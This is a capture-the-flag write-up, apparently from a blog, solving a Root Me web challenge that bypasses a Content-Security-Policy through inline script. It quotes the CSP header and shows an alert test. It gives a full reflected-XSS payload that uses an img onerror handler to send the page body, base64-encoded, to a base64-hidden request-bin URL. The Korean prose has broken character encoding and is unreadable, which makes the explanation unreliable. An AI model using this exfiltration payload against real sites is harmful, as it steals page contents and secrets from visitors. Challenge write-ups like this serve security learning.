Home ํ์ด์ง
ํ ํ์ด์ง์๋ ์ ๋ ฅ์ฐฝ์ด ๋ณด์ด๊ณ ์๋์ ๊ฐ์ด ๋ฌธ์๋ฅผ ์ ๋ ฅํ๋ฉด ํ์ด์ง์ ๋ฐ์๋๋ค.
ํ์ด์ง ๋ด์ฉ์ ๋ณด๋ฉด ํ๋๊ทธ ๊ฐ์ด ๋ด๋ง ํ์ธ์ด ๊ฐ๋ฅํ๋๋ก ์ค์ ์ด ๋์ด์๋ค๊ณ ํ๋ค. ๋ํ CSP๊ฐ ์ค์ ์ด ๋์ด XSS๋ ๋ถ๊ฐํ๋ค๊ณ ์ ํ์๋ค.
๋ง์ฝ ๋ฐฉ๊ธ ์ ์ ๋ ฅ์ฐฝ์๋ค <script> ํ๊ทธ๋ฅผ ์ฌ์ฉํ๋ฉด ์๋์ ๊ฐ์ ์๋ฌ ํ์ด์ง๊ฐ ์ถ๋ ฅ์ด ๋๋ค.
์๋ฌ ์์ธ์ "Content-Security-Policy"๊ฐ ์ค์ ์ด ๋์ด ์๊ธฐ ๋๋ฌธ์ด๋ค.
connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self';
manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline';
style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;
๋ณด๋ฉด ์๊ฒ ์ง๋ง ๋๋ถ๋ถ์ด none์ด๊ฑฐ๋ self์ด๊ธฐ ๋๋ฌธ์ script ํ๊ทธ ์ฌ์ฉ์ด ๋ถ๊ฐํ๊ณ ์ธ๋ถ์ URL์ ์์ฒญ์ด ๋ถ๊ฐ๋ฅํ๋ค.
ํ์ผ๋ก https://csp-evaluator.withgoogle.com/์ ๋ค์ด๊ฐ๋ฉด csp๊ฐ ์ ๋๋ก ์ค์ ์ด ๋์ง ์์ ๊ณณ์ ํ๋์ ํ์ธ์ด ๊ฐ๋ฅํ๋ค.
ํ์ธ ๊ฒฐ๊ณผ ๋ค๋ฅธ ๊ฑด ์๋์ง๋ง script๋ฅผ ์ธ๋ผ์ธ ๋ฐฉ์์ผ๋ก ์ฌ์ฉํ๋ ๊ฑด ํ๊ฐ๊ฐ ๋์ด์๋ค.
<img src=x onerror=alert(1)>๋ฅผ ์ ๋ ฅํ๋ฉด alert ์ฐฝ์ด ์ ๋๋ก ๋์จ๋ค.
Report ํ์ด์ง
์ ๊ณ ํ์ด์ง์์๋ ๊ฐ์ ํธ์คํธ์ ์ฃผ์๋ฅผ ์ ๋ ฅํ๋ฉด ๋ด์ด ๋์ ํด์ ๊ทธ ํ์ด์ง์ ์ ์์ ํ๋ ๊ธฐ๋ฅ์ ๊ฐ์ง๊ณ ์๋ค.
๋ด์ด ๋ฐฉ๋ฌธํ๋ ์๊ฐ์ ๋ช ๋ถ ์ด์์ ๊ฑธ๋ฆฌ๋ฉฐ ๋๋ฌด ์์ฃผ ์์ฒญ์ ํ๋ฉด ๋ธ๋ฝ์ ๋จน์ผ๋ ์ฃผ์ํ๋ค.
ํด๊ฒฐ ๋ฐฉ๋ฒ
img ํ๊ทธ์ onerror๋ฅผ ์ด์ฉํด ์ธ๋ผ์ธ ๋ฐฉ์์ผ๋ก xss๋ฅผ ์ ๋ฐํ๋ค.
๊ทธ๋ฆฌ๊ณ ์์์ผ ํ ๊ฒ์ URL์ ํฌํจํ๋ ๋ด์ฉ์ด ์์ผ๋ฉด WAF์ ์ํด์ ์ฐจ๋จ์ด ๋๋ฏ๋ก ์ธ์ฝ๋ฉ์ ์์ผ์ค์ผ ํ๋ค.
์ธ์ฝ๋ฉ์ btoa(), atob() ํจ์๋ฅผ ์ฌ์ฉํ๋ค.
๋ + ๋ฌธ์๋ URL์์๋ ๊ณต๋ฐฑ์ผ๋ก ์ธ์์ ํ๊ธฐ ๋๋ฌธ์ ๋ฐ๋ก ์ธ์ฝ๋ฉ์ ํด์ฃผ๊ฑฐ๋ .concat() ๋ฉ์๋๋ก ๋์ฒดํด์ ์ฌ์ฉํ๋ค.
http://challenge01.root-me.org:58008/page?user=<img src=x onerror='window.location=atob("aHR0cHM6Ly9tYXFsc2JsLnJlcXVlc3QuZHJlYW1oYWNrLmdhbWVz").concat("/FETCH?html=").concat(btoa(document.body.innerText))'>
์์ ๋ฌธ์๋ฅผ Report ํ์ด์ง์ ์ ๋ ฅํ๊ณ ๋ช ๋ถ์ด ์ง๋๋ฉด Request Bin์ ์์ฒญ์ด ๋ ์์จ๋ค.
๋ง์ฐฌ๊ฐ์ง๋ก document.body์ ๋ด์ฉ ๋ํ btoa()๋ก ์ธ์ฝ๋ฉ์ ํ๊ธฐ ๋๋ฌธ์ atob()๋ก ๋์ฝ๋ฉ์ ํด์ค์ผ ํ๋๊ทธ ๊ฐ์ ๊ตฌํ ์ ์๋ค.
'๐ดCTF > Root Me' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Root Me - TCP - Encoded string (1) | 2024.02.16 |
---|---|
Root Me - TCP - Back to school (0) | 2024.02.16 |
Root Me - Encoding - ASCII (0) | 2024.02.16 |